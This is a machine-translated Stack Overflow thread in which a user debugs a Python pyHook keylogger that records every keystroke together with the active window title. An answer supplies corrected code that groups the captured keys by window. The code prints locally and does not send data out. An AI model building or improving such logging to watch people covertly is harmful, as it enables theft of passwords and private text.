【问题标题】:Python - Window Title and keyloggerPython - 窗口标题和键盘记录器
【发布时间】:2013-03-05 20:02:53
【问题描述】:

这是 python 键盘记录器和窗口标题抓取器的代码,但我无法同时抓取它们。

import pythoncom, pyHook ,time

def OnKeyboardEvent(event):
            keylog= chr(event.Ascii)

            print keylog
            key =  event.WindowName
            print key
            time.sleep(0.1)
            if(key==event.WindowName):
                pass
            else:
                key = event.WindowName
                print key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()   

输出是这样的

开始菜单 b 开始菜单 c 开始菜单 d cmd.exe

我也需要它

开始菜单 abc

cmd.exe d

【问题讨论】:

    标签: python keylogger


    【解决方案1】:

    您的代码实际上没有任何意义。让我们逐步了解它的作用:

            keylog= chr(event.Ascii)
    
            print keylog
    

    这会打印按下的键。

            key =  event.WindowName
            print key
    

    这将打印窗口名称。我不知道你为什么要把它放在一个名为 key 的变量中,因为它不是一个键,但这并不会改变它的作用。

            time.sleep(0.1)
    

    这会暂停,大概是为了确保在用户输入速度过快时会丢失按键?

            if(key==event.WindowName):
                pass
    

    这总是正确的,因为您之前设置了key = event.WindowName,而event 对象不会即时更改。

            else:
                key = event.WindowName
                print key
    

    如上所述,这永远不会发生。但是,如果这样做了,它会将key 设置为它已经拥有的值(窗口名称)并再次打印。

    我的猜测是,您在此处尝试 只打印与上次不同的窗口名称或类似的名称?一种快速而简单的方法是使用全局变量:

    lastWindow = None
    
    def OnKeyboardEvent(event):
        global lastWindow
    
        window = event.WindowName
        key = chr(event.Ascii)
    
        if window != lastWindow:
            print window
            lastWindow = window
    
        print key
    

    所以,在你的测试用例中,而不是这个:

    a Start menu b Start menu c Start menu d cmd.exe
    

    你应该得到这个:

    Start menu a b c cmd.exe d
    

    (尽管实际上,您将把它们放在单独的行上,而不是用空格分隔,因为您的代码只执行print keylogprint key,我也这样做了。如果您希望它们都在一行中, 在每个print 语句的末尾加一个逗号。)

    【讨论】:

    • 您好,感谢您的回复。你的代码又帮助了我一点我得到的东西。 Start Menu a b c d 现在它正在为窗口标题制作重复条目,但现在我遇到了一些问题 1. 它正在为每个字母制作新行。 2. 现在它只在按下键时才抓取窗口标题名称,我希望它每 0.1 秒后抓取一次窗口标题名称。 3. 如果没有按键,它不检查窗口标题名称。希望你能帮我解决这个问题。谢谢
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-03-07
    • 1970-01-01
    • 2019-02-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多